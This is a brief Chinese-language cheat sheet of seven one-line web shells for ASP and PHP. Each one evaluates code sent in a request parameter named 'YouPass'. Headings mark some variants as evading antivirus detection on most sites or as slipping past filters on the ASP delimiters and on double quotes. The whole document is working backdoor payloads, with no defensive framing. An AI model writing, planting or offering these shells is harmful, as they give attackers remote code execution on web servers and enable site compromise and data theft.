ASP一句话
1.<%eval request("YouPass")%>
2. <%executerequest("YouPass")%>
3. <%execute(request("YouPass"))%>

免杀大部分网站的一句话
4.<% set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.ExecuteStatement("ev"&"al(request(""YouPass""))") %>

绕过部分网站过滤<%,%>的一句话
5.<script language=VBScript runat=server>execute request("YouPass")</script>

绕过部分网站过滤双引号的一句话
6.<%eval request(YouPass(35))%>

php一句话
7.<?php eval($_POST[YouPass]);?>